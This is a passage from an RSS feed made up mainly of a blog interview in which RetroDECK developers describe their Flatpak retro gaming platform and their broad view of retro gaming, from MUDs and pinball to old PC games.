                    &lt;a href=&quot;https://specular.fi/?tag=tech&quot;&gt;Tech&lt;/a&gt;, 
                
                    &lt;a href=&quot;https://specular.fi/?tag=wget&quot;&gt;Wget&lt;/a&gt;
                
            &lt;/p&gt;</content:encoded>
</item>
<item>
<title>Clunky or funky: Unix System Services vs mainframe Linux</title>
<link>https://planetmainframe.com/2026/05/clunky-or-funky/</link>
<guid isPermaLink="false">CBd5YAiZpcjQvLACIdKjPcB5cywMPyIFejyiIw==</guid>
<pubDate>Tue, 12 May 2026 14:48:56 +0000</pubDate>
<description>The post Clunky or funky: Unix System Services vs mainframe Linux appeared first on Planet Mainframe.</description>
<content:encoded>&lt;p&gt;The post &lt;a href=&quot;https://planetmainframe.com/2026/05/clunky-or-funky/&quot;&gt;Clunky or funky: Unix System Services vs mainframe Linux&lt;/a&gt; appeared first on &lt;a href=&quot;https://planetmainframe.com&quot;&gt;Planet Mainframe&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>❓Linux: Tux in the Data Center</title>
<link>https://planetmainframe.com/2026/05/linux-tux-in-the-data-center/</link>
<guid isPermaLink="false">KDxfUoTALVngvoq1H-PAhicZfhykf_vLBz4Otw==</guid>
<pubDate>Tue, 12 May 2026 14:48:56 +0000</pubDate>
<description>The post ❓Linux: Tux in the Data Center appeared first on Planet Mainframe.</description>
<content:encoded>&lt;p&gt;The post &lt;a href=&quot;https://planetmainframe.com/2026/05/linux-tux-in-the-data-center/&quot;&gt;❓Linux: Tux in the Data Center&lt;/a&gt; appeared first on &lt;a href=&quot;https://planetmainframe.com&quot;&gt;Planet Mainframe&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Beyond the Horizon: Running Db2 Tools from a Unix Shell</title>
<link>https://planetmainframe.com/2026/05/beyond-the-horizon-running-db2-tools-from-a-unix-shell/</link>
<guid isPermaLink="false">iQmImg5dp8WFXRp2v1A7atAgZ4lX0OPmM9cqOg==</guid>
<pubDate>Tue, 12 May 2026 14:48:56 +0000</pubDate>
<description>The post Beyond the Horizon: Running Db2 Tools from a Unix Shell appeared first on Planet Mainframe.</description>
<content:encoded>&lt;p&gt;The post &lt;a href=&quot;https://planetmainframe.com/2026/05/beyond-the-horizon-running-db2-tools-from-a-unix-shell/&quot;&gt;Beyond the Horizon: Running Db2 Tools from a Unix Shell&lt;/a&gt; appeared first on &lt;a href=&quot;https://planetmainframe.com&quot;&gt;Planet Mainframe&lt;/a&gt;.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>RetroDECK Is More Than Emulation: An Interview with the Devs</title>
<link>https://gardinerbryant.com/retrodeck-is-more-than-emulation-an-interview-with-the-devs/</link>
<enclosure type="image/jpeg" length="0" url="https://gardinerbryant.com/content/images/size/w1200/2026/03/logo-on-steamdeck.png"></enclosure>
<guid isPermaLink="false">utU9dQ-6yfjTGpAMtnO-8xYjwRJDPQCHDblmpg==</guid>
<pubDate>Tue, 12 May 2026 10:57:11 +0000</pubDate>
<description>There’s a certain way people talk about retro gaming that I’ve never fully clicked with. It almost always comes back to consoles and emulators: what system you’re recreating, how accurate it is, how close it feels to the original hardware. And of course, that’s part of</description>
<content:encoded>&lt;section&gt;
                &lt;div&gt;
    &lt;div&gt;
        &lt;div&gt;
            &lt;h2&gt;&lt;span&gt;Become a Member&lt;/span&gt;&lt;/h2&gt;
            &lt;p&gt;
                Join the thousands who have already subscribed to The Bryant Review!
                Membership unlocks &lt;strong&gt;exclusive articles&lt;/strong&gt;,
                a customizable reading experience, and you won&amp;#39;t see this
                message again!
            &lt;/p&gt;

            

                &lt;div&gt;
                    
                    
                &lt;/div&gt;
                &lt;div&gt;
                    Email sent! Check your inbox to complete your signup.
                &lt;/div&gt;
                
            

            &lt;p&gt;&lt;span&gt;No spam.
                    Unsubscribe anytime.&lt;/span&gt;&lt;/p&gt;
        &lt;/div&gt;
        
        
    &lt;/div&gt;
&lt;/div&gt;
            &lt;/section&gt;&lt;div&gt;
            &lt;/div&gt;&lt;p&gt;There’s a certain way people talk about retro gaming that I’ve never fully clicked with. It almost always comes back to consoles and emulators: what system you’re recreating, how accurate it is, how close it feels to the original hardware. And of course, that’s part of it. But it’s never felt like the full story to me. Retro gaming is way bigger than that. It’s &lt;em&gt;old&lt;/em&gt; PC games, weird little shareware titles, arcade cabinets, Flash games you played at school, &lt;a href=&quot;https://gardinerbryant.com/sums/&quot;&gt;random projects people built just because they could&lt;/a&gt;. It’s messy, all over the place, and tied just as much to personal memories as it is to any specific platform.&lt;/p&gt;&lt;p&gt;That’s why RetroDECK stands out to me. It doesn’t portray retro gaming like a checklist of consoles to emulate, instead it treats it like a whole space to explore. You’ve got emulators, sure, but also interesting engines, ports, tools: things that go beyond just “run this ROM.” It feels less like setting up a bunch of systems and more like opening a door to everything that retro gaming actually is, and maybe can be to you too. Not just the big, obvious classics, but the forgotten corners too. The stuff you didn’t even realize you missed until you see it sitting there.&lt;/p&gt;&lt;p&gt;To dig into that idea a little deeper, I spoke with the developers of the RetroDECK team about how they view retro gaming, emulation, and gaming as a whole. What comes through clearly is that RetroDECK isn’t &lt;em&gt;just&lt;/em&gt; a tool, it’s their way of bringing all of those experiences together. Their ongoing effort to make the full spectrum of gaming history easier to access, understand, and enjoy.&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://retrodeck.net/&quot;&gt;&lt;div&gt;&lt;div&gt;RetroDECK&lt;/div&gt;&lt;div&gt;RetroDECK is a polished, beginner-friendly retro gaming platform for Linux systems, available with just one click from Flathub.&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/icon/icon_circle_2_180x180.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/thumbnail/og-image.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/screen02.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Projects like EmuDeck have become very popular for helping people set up &amp;#39;traditional&amp;#39; console emulation on devices like the Steam Deck. RetroDECK seems to be pursuing a somewhat broader vision of retro gaming that goes beyond just emulating consoles. How would you describe the difference in philosophy between those approaches?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt; The goal of RetroDECK is to provide an all-in-one retro gaming experience that is easy to install, manage and remove (&lt;em&gt;if you want to&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;I have always seen the project as a Retro Gaming Platform that allows people to enjoy these kinds of experiences in a much simpler way than downloading and configuring a multitude of separate apps.&lt;/p&gt;&lt;p&gt;It should be flexible and easy to tinker with for those who want to dig under the hood, while still being extremely simple and accessible for the average user.&lt;/p&gt;&lt;p&gt;When looking at the current landscape, you can see solutions such as script-based installers that configure and set up a multitude of applications in a simpler and more automated way. There are also custom firmware or full operating systems that replace a device original OS .&lt;/p&gt;&lt;p&gt;RetroDECK does not fit into either of those two categories. It is a fairly unique project and our focus is quite different from the others.&lt;/p&gt;&lt;p&gt;In my view at least, RetroDECK is closer in to projects like Heroic, Lutris, or Mini Galaxy than the others. Being that it acts as a platform with a goal of facilitate and manage a broad gaming experince that you bring your games into.&lt;/p&gt;&lt;p&gt;We also use ES-DE as the main frontend, but we are also adding things to it people are not expecting. At the same time in our upcoming update we are adding support for systems that ES-DE currently has noplans to support as they fall outside of its scope and vision.&lt;br/&gt; &lt;br/&gt;But generally we want as much as possible to be in upstream ES-DE as we only maintain an extremly light fork. We always try to work closely with the upstream project and regularly share our findings.&lt;/p&gt;&lt;p&gt;We also strive to support other projects without creating drama.&lt;/p&gt;&lt;p&gt;A good recent example of a small act of behind-the-scenes goodwill is when we helped &lt;a href=&quot;https://www.ppsspp.org/&quot;&gt;PPSSPP&lt;/a&gt; after it encountered issues publishing its 1.20 release on Flathub. We quietly stepped in to help debug their manifest and collaborated without getting in their way and in the end, the release was successfully published for all to enjoy.&lt;/p&gt;&lt;p&gt;A bit of irony is that the 1.20 release is still not in RetroDECK (as of this writing). We are waiting on additional fixes for other components like &lt;a href=&quot;https://dolphin-emu.org/&quot;&gt;Dolphin&lt;/a&gt; (that we also helped to test).&lt;/p&gt;&lt;p&gt;We also always try to avoid burdening others support systems (such as socials or issue trackers) and have had that as a rule that has long guided the RetroDECK community:&lt;br/&gt; &lt;br/&gt; &lt;em&gt;“Do not request upstream support for issues from RetroDECK!”&lt;/em&gt;&lt;br/&gt; &lt;br/&gt; Such requests create unnecessary friction between projects. Quite frankly:&lt;br/&gt; &lt;br/&gt;&lt;em&gt; “Our users are our responsibility”.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Adam:&lt;/strong&gt; More than anything else, I think that RetroDECK focuses on making things user-friendly upfront.&lt;br/&gt; &lt;br/&gt;You can install it and immediately start playing games.&lt;br/&gt; &lt;br/&gt;But for folks that want to use PortMaster or play modded Doom WADs, we have lots of tools available.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lahrs:&lt;/strong&gt; As retro gaming continues to grow, people are looking toward other ways to dive deeper into what is out there or those already using other tools but are looking for an easier way to use them.&lt;br/&gt; &lt;br/&gt;What separates us from other projects is we want to bring all these users under a unified program. RetroDECK is designed to disappear.&lt;br/&gt; &lt;/p&gt;&lt;p&gt;When a user selects a game in ES‑DE, it simply launches, no configuration, no obstacles, no decisions to make. By going beyond just console emulation, we are taking these various avenues of retro gaming and giving the user one unified platform to make it happen.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon:&lt;/strong&gt; My thoughts from the beginning were:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Because most new purchasers see the Steam Deck as a console with a console-like experience.&lt;/li&gt;&lt;li&gt;If I buy a handheld console, what is my the default expectation as a new user or owner?&lt;/li&gt;&lt;li&gt;What happens if a user who doesn’t know what Linux approaches the Steam Deck Desktop Mode and &amp;#39;Discovers&amp;#39; (😝) that it can be used to play other / older that are outside of the Steam store?&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With my background in working on embedded handhelds custom firmware, I started to form a clearer picture of wanting to make something similar for the Steam Deck that should just exist in the default distribution channels.&lt;/p&gt;&lt;p&gt;&lt;br/&gt; “EmuSOMETHING” was a name I initially considered for RetroDECK, but then I asked myself:&lt;/p&gt;&lt;blockquote&gt;&lt;em&gt;“Do I really want to be confined to an emulation-only space? What if I include OpenOMF or OpenJazz? That’s not emulation”.&lt;/em&gt;&lt;/blockquote&gt;&lt;p&gt;I started on the prototype name was 351EDECK (name was quickly changed to RetroDECK), inspired by the other projects I was involved with EmuELEC and 351ELEC (now known as AmberELEC).&lt;/p&gt;&lt;p&gt;So in the early beginning RetroDECK was never intended to be an emulation-only solution from the start.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451:&lt;/strong&gt; From a philosophy standpoint, gaming has always been bigger than “consoles”.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;It’s been pinball, and arcade lightgun games.&lt;/li&gt;&lt;li&gt;It’s been telnet MUDs and weird one-off portable game devices.&lt;/li&gt;&lt;li&gt;It’s been couch co-op, MMO raids and absolutely trouncing your friends at Counter Strike 1.6 in the school computer lab.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It’s a lot more than some people give it credit for, so from a technical standpoint why should we limit ourselves to the common consoles when there are so many other ways to game out there, in our collective history?&lt;/p&gt;&lt;p&gt;The problem is that no single person has experience with every way of playing. So we want to make it equally easy to play your favorite childhood game as it is to dive into something you may have never even heard of. Who knows what kind of fun you might discover.&lt;/p&gt;&lt;p&gt;As a project, we owe our very existence to the people who create the emulators, engines and other software that make that kind of gaming, especially on modern hardware, even possible. Without them, RetroDECK wouldn’t even have a reason to exist. What we can try to do is bring those projects together in a way that makes them all equally accessible, equally easy to try out.&lt;/p&gt;&lt;p&gt;Beyond that, part of the technical design philosophy for RetroDECK has always been “simplicity”. I believe devices like the Steam Deck have introduced Linux to whole new generations of people who would have never even (knowingly) come near it.&lt;/p&gt;&lt;p&gt;But as we know, with great power comes great responsibility and someone who isn’t familiar with Linux, or even the more technical sides of computing in general, has the ability to get into a lot of trouble if they are steered even a little bit wrong.&lt;/p&gt;&lt;p&gt;So our distribution model, through Flatpak, is equally important to us as everything else we put into RetroDECK. Most people are familiar with the concept of an “app store”, and Flathub puts a lot of effort into making sure the software on their store is trustworthy. Being able to tell someone “go to the app store on your device and search for our name” and have it be a one-click process, with no terminal needed, is just another part of making all the gaming experiences we hope to provide to people accessible and easy.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Related, when people think about retro gaming, they often picture classic consoles like the NES or PlayStation. But the history of games isso much wider than that. How does RetroDECK try to reflect that broader landscape?&lt;/strong&gt; &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt; By focusing our efforts on getting applications that are often difficult to run working within RetroDECK and thus making them more accessible.&lt;/p&gt;&lt;p&gt;These are typically projects that either:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Require users to compile binaries themselves&lt;/li&gt;&lt;li&gt;Are not readily available as Flatpaks, Snaps, or AppImages&lt;/li&gt;&lt;li&gt;Exist exclusively as .rpm or .deb packages, on community repositories like the AUR, or as standalone binaries.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By integrating them into our Flatpak, we can make them readily available and expose a much larger audience to these small and often overlooked projects.&lt;/p&gt;&lt;p&gt;We also simplify things like where to place mods, texture pack replacements, shaders and similar things. Making it easier for users to experiment with new ways to experience classic games.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Adam:&lt;/strong&gt; A lot of my fondest memories of gaming are Flash games.&lt;/p&gt;&lt;p&gt;My friends and I were always trying to work around the school firewalls and filters to play them in the computer lab.&lt;/p&gt;&lt;p&gt;Without projects like Ruffle (which of course we include), these would be truly lost to time.&lt;/p&gt;&lt;p&gt;I recommend Motherload!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon:&lt;/strong&gt; I won’t repeat what I’ve already said above, so I’ll just share &lt;em&gt;my&lt;/em&gt; childhood experience.&lt;/p&gt;&lt;p&gt;Back in 1995:&lt;/p&gt;&lt;p&gt;I turned on my first home computer (I wouldn’t call it “personal,” since it was shared by the family), and the first game I booted was Jazz Jackrabbit (no, not Xargon). &lt;/p&gt;&lt;p&gt;So yes, my first video game experience was on a Windows 95 Plus! PC, with a vibrant nature theme that I still remember to this day.For me, consoles only came later, when my uncle gifted me his “old” Mega Drive.&lt;/p&gt;&lt;p&gt;But starting with a PC meant I knew from the very beginning that gaming wasn’t limited to consoles.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451:&lt;/strong&gt; I’ll admit that I am old enough that it physically pains me when people start talking about childhood gaming memories and bring up something like “oh yeah, I used to play Xbox 360 all the time as a little kid!”😂 “Retro” means different things to different people.&lt;/p&gt;&lt;p&gt;To me it will always mean the original consoles from the 80s, even though I started my gaming career on an Apple IIe in school. We don’t get to define what “retro” means to our users. My own hope is just that, whatever their own definition is, we have done what we can to cover it, and bring those memories back. Nostalgia is a hell of a drug.&lt;/p&gt;&lt;p&gt;I don’t think I will ever forget what it felt like when the reality of playing a MUD (which for those who don’t know, is a Multi-User Dungeon, a very early, text-only predecessor to the MMORPG), realizing that there were *other people*, people I didn’t know, playing along with me in this world that someone had created in their own free time. If I can bring that kind of feeling back to someone else, even about a system that they may have forgotten existed, every hour I have spent in this project will have been worth it.&lt;/p&gt;&lt;hr/&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/screen04-1.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;What does the term “retro gaming” mean to you personally, beyond just playing older console titles?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt; There is no definitive answer to this question. What retro means can differ greatly from person to person, often depending on when they grew up and what they feel nostalgic about. It is not limited to game consoles...&lt;/p&gt;&lt;p&gt;It can also include the old math games you played on a school computer in the 80s or 90s, the early mobile games from pre-Android phones, or the first generations of Android devices.&lt;/p&gt;&lt;p&gt;You will likely get a different answer from everyone you ask. For me, it’s just as broad:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Handhelds&lt;/li&gt;&lt;li&gt;Computers&lt;/li&gt;&lt;li&gt;Consoles&lt;/li&gt;&lt;li&gt;Pinball&lt;/li&gt;&lt;li&gt;Tiger electronics / Game &amp;amp; Watch&lt;/li&gt;&lt;li&gt;Arcade machines&lt;/li&gt;&lt;li&gt;Vintage software&lt;/li&gt;&lt;li&gt;Manuals and Gameboxes Loot&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I have loved each of them in different ways, having grown up with all of them. Even back in 1997, I experimented with early emulators like Nesticle, No$GMB, and MAME on Windows 95 and DOS.&lt;/p&gt;&lt;p&gt;I have always been fascinated by old software since I was a child, yet I continue to enjoy modern games on platforms like the Switch 2, PS5 and Steam Deck.&lt;/p&gt;&lt;p&gt;Having played video games since I was about three or four years old, gaming remains a passion for me to this day (though I have far less time for it now and my eyesight and reaction speed are no longer what they were in my peak CS 1.6 LAN party days).&lt;/p&gt;&lt;p&gt;What I hope to do is simply provide people with an easy way to experience those memories again, provided they still have access to their old games. For one person retro might mean the PlayStation 3, while for others it could be systems like the TRS-80 or the BBC Micro. Both viewpoints are valid and that is how we approach the components included in RetroDECK as well.&lt;/p&gt;&lt;p&gt;The same amount of effort we put into supporting something like an Xbox 360 emulator should also be applied to an engine capable of running Wolfenstein 3D, a client for playing MUDs, or an emulator for systems like the TRS-80.&lt;/p&gt;&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/RetroDECK-MUD.jpg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/RetroDECK-MUD-2.jpg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;&lt;p&gt;&lt;i&gt;&lt;em&gt;MUD, shown in RetroDECK. This picture is WIP taken from RetroDECK and shared with me, from a future update&lt;/em&gt;&lt;/i&gt;&lt;/p&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;One persons retro experience should not be valued more highly than another. Each component in RetroDECK should be treated with equal importance. Just because a large portion of the user base may demand support for a system like the Xbox 360 does not mean we should ignore the voices of users who want to revisit much older platforms and experiences that they grew up with.&lt;/p&gt;&lt;p&gt;In fact, I believe the opposite approach is important. We can lower the barrier to entry for these older systems:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;By providing better default inputs&lt;/li&gt;&lt;li&gt;Simplifying installation&amp;amp; launching&lt;/li&gt;&lt;li&gt;Making them easier to manage&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This allows more people to experience a small piece of gaming history that was originally accessible only to a relatively small group from an now older generation.&lt;/p&gt;&lt;p&gt;As time goes on, the number of people with first-hand knowledge of these games will naturally decrease.&lt;/p&gt;&lt;p&gt;By building a platform from components and technologies created by many others who are just as passionate about their corner of the retro space as us. The developers of emulators, clients, engines, multi-emulators, ports, systems and tools that together make RetroDECK a cohesive whole.&lt;/p&gt;&lt;p&gt;We all are giving people the opportunity to try them out. In doing so, we help ensure that these stories and experiences continue.&lt;/p&gt;&lt;p&gt;For me, it is important that these stories are not lost but are passed down and retold across generations of gamers:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The dangers of the mines in Manic Miner.&lt;/li&gt;&lt;li&gt;Going on adventures with Dizzy.&lt;/li&gt;&lt;li&gt;Avoiding being eaten by a Grue in Zork.&lt;/li&gt;&lt;li&gt;Knowing the word Xyzzy.&lt;/li&gt;&lt;li&gt;And so much more!&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The Zork trilogy was also recently open-sourced by Microsoft in November (thanks, Microsoft!)&lt;/p&gt;&lt;p&gt;You can find it on the Historical Source GitHub and play it in RetroDECK!&lt;/p&gt;&lt;p&gt;Just remember: don’t get eaten by a Grue...it’s not pleasant.&lt;/p&gt;&lt;div&gt;&lt;div&gt;💡&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;em&gt;Here are the links to the open sourced Zork games:&lt;/em&gt;&lt;/i&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/historicalsource/zork1/blob/master/COMPILED/zork1.z3&quot;&gt;https://github.com/historicalsource/zork1/blob/master/COMPILED/zork1.z3&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/historicalsource/zork2/blob/master/COMPILED/zork2.z3&quot;&gt;https://github.com/historicalsource/zork2/blob/master/COMPILED/zork2.z3&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;https://github.com/historicalsource/zork3/blob/master/COMPILED/zork3.z3&quot;&gt;https://github.com/historicalsource/zork3/blob/master/COMPILED/zork3.z3&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;i&gt;&lt;em&gt;...put them in&lt;/em&gt;&lt;/i&gt; roms/zmachine/&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Lahrs:&lt;/strong&gt; For me, retro gaming is a connection of shared interests between me and my kids.&lt;br/&gt;The cooperative gaming I experienced with my brother and friends growing up, is now an experience I get to have with my son and we bond over retro games.&lt;br/&gt; &lt;br/&gt;Sometimes he laughs at how basic my games were compared to the ones he can play now and other times we are sharing the deep concentration of playing Mega-Man 2 (&lt;a href=&quot;https://store.steampowered.com/app/363440/Mega_Man_Legacy_Collection/&quot;&gt;Mega Man Legacy Collection is available on Steam&lt;/a&gt;).&lt;/p&gt;&lt;div&gt;&lt;div&gt;ℹ️&lt;/div&gt;&lt;div&gt;^ &lt;i&gt;&lt;em&gt;...you can use this link to follow the guide on how to extract the ROMs from it:&lt;/em&gt;&lt;/i&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;https://steamcommunity.com/sharedfiles/filedetails/?id=2855823531&quot;&gt;https://steamcommunity.com/sharedfiles/filedetails/?id=2855823531&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;Sharing the frustration of defeat and the heart pumping joys of success when finally beating the next boss.&lt;br/&gt; &lt;br/&gt;Retro gaming provides these moments: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;Moments of nostalgia&lt;/li&gt;&lt;li&gt;Moments of sharing&lt;/li&gt;&lt;li&gt;Moments in gaming&lt;/li&gt;&lt;li&gt;Moments with kids&lt;/li&gt;&lt;/ul&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;strong&gt;Xargon:&lt;/strong&gt; This is a very hard question to answer, maybe it shouldn’t even be called retro gaming at all?!&lt;/p&gt;&lt;div&gt;&lt;div&gt;💡&lt;/div&gt;&lt;div&gt;From the Merriam-Webster Dictionary:&lt;br/&gt;&lt;br/&gt;&lt;b&gt;&lt;strong&gt;retro:&lt;/strong&gt;&lt;/b&gt; ...&lt;i&gt;&lt;em&gt;relating to, reviving, or being the styles and especially the fashions of the past : fashionably nostalgic or old-fashioned&lt;/em&gt;&lt;/i&gt;&lt;br/&gt;&lt;br/&gt;&lt;b&gt;&lt;strong&gt;vintage: ...&lt;/strong&gt;&lt;/b&gt;&lt;i&gt;&lt;em&gt;of old, recognized, and enduring interest, importance, or quality: classic&lt;/em&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;So, can Coffee Talk or Katana: ZERO really be defined as retro games?&lt;br/&gt;And can an unlucky, forgotten game truly be called vintage?&lt;/p&gt;&lt;p&gt;Semantically, we’re probably talking about a mix of retro and vintage gaming.&lt;br/&gt;But even then, where do we draw the line?&lt;/p&gt;&lt;p&gt;So, borrowing a concept from a podcast I like Power Pizza Podcast (Italian only, sorry):&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;Ask your heart, your heart knows the anwser.&amp;quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Ask yourself: Is the game you’re thinking of a retro game? Your heart knows, and it stays true to you.(Heart in the sense of your inner self, kokoro).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451:&lt;/strong&gt; Simple, dying of dysentery.😂 &lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/you-have-died.jpg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;Every American (and maybe elsewhere) who was a kid in the 80s or 90s knows that feeling from school. Apple was working hard to get their early models into the schools, and it literally lead to a sub-segment of the Millennial generation being called “the Oregon Trail kids”.&lt;/p&gt;&lt;p&gt;If that isn’t a retro gaming legacy I don’t know what is. Beyond that, my own idea of really “retro” will always be the handheld devices that predated the GameBoy. Tiger games for me, mostly, but I’m sure there are lots of others that I simply have forgotten about by now.&lt;/p&gt;&lt;p&gt;Maybe RetroDECK will help me remember them again.&lt;/p&gt;&lt;hr/&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/screen01.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Are there types of retro games or platforms you think the broader community sometimes overlooks?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt; I believe retro computers, in general are often overlooked and people are more console focused.&lt;/p&gt;&lt;p&gt;If you talk to a Gen X gamer about systems like the Commodore 64, VIC-20, or the Amiga their eyes will light up with fiery passion (while forcefully attempting to send you a Spotify playlist of the 100 Best SID Chip Chiptunes).&lt;/p&gt;&lt;p&gt;The same can be said when discussing systems such as the FM Towns, BBC Micro, the Tandy Computer series like the TRS-80, Dragon.&lt;/p&gt;&lt;p&gt;Take the Apple II for example a game like Ultima IV: Quest of the Avatar (&lt;a href=&quot;https://www.gog.com/game/ultima_iv_quest_of_the_avatar&quot;&gt;available free on GOG with this link!&lt;/a&gt;) shaped some players sense of morality and inspired an entire generation of gamers and Prince of Persia set the stage for the action-platformer genre.&lt;/p&gt;&lt;div&gt;&lt;div&gt;ℹ️&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;em&gt;You can use &lt;/em&gt;&lt;/i&gt;&lt;a href=&quot;https://xu4.sourceforge.net/&quot;&gt;&lt;i&gt;&lt;em&gt;https://xu4.sourceforge.net/&lt;/em&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;&lt;em&gt; to Ultima IV with xu4, or SCUMMVM&lt;/em&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Virtual Pinball is another niche but deeply passionate genre that I personally adore. Pinball players are an incredibly dedicated community that are still active to this day and several companies are still creating new tables like American Stern or Swedish Pinball Brothers.&lt;/p&gt;&lt;p&gt;Pinball players are making their own fan-made virtual pinball games for everyone to enjoy. Despite this, the genre is often overlooked even though it continues to thrive (Visual Pinball X will be available in an upcoming update).&lt;/p&gt;&lt;p&gt;MUDs are also extremely overlooked, so obscure that only the most dedicated enthusiasts are aware they still exist. I hope to bring them back into the spotlight in an upcoming update.&lt;/p&gt;&lt;p&gt;I also believe engine rewrites such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.gog.com/en/game/heroes_of_might_and_magic_3_complete_edition&quot;&gt;VCMI for Heroes of Might and Magic III&lt;/a&gt; (GOG link) - &lt;a href=&quot;https://flathub.org/en/apps/eu.vcmi.VCMI&quot;&gt;https://flathub.org/en/apps/eu.vcmi.VCMI&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.gog.com/en/game/heroes_of_might_and_magic_2_gold_edition&quot;&gt;Fheroes for Heroes of Might and Magic II&lt;/a&gt; (GOG link) - &lt;a href=&quot;https://flathub.org/en/apps/io.github.ihhub.Fheroes2&quot;&gt;https://flathub.org/en/apps/io.github.ihhub.Fheroes2&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.gog.com/en/game/theme_hospital&quot;&gt;CorsixTH for Theme Hospital&lt;/a&gt; (GOG Link) - &lt;a href=&quot;https://flathub.org/en/apps/com.corsixth.corsixth&quot;&gt;https://flathub.org/en/apps/com.corsixth.corsixth&lt;/a&gt;&lt;/li&gt;&lt;li&gt;...and similar projects&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;...all deserve a wider audience and I hope more people give them a try (all games are on GOG).&lt;/p&gt;&lt;p&gt;As a final note, Gen X is kind of right about SID chip music, it’s pure banger. Listen to the &lt;em&gt;Ghosts &amp;#39;n Goblins &lt;/em&gt;theme of the C64 and be amazed.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon: &lt;/strong&gt;Probably the old Japanese computers, such as the NEC PC-9800 series, are worth exploring. Especially if you’re into older anime-style games. &lt;/p&gt;&lt;p&gt;Unfortunately, most of these titles are gated by the Japanese language, but they’re a true takarabako (treasure chest).&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://operationrainfall.com/2016/11/17/tbt-review-rusty-pc-9800/&quot;&gt;&lt;div&gt;&lt;div&gt;TBT REVIEW: Rusty 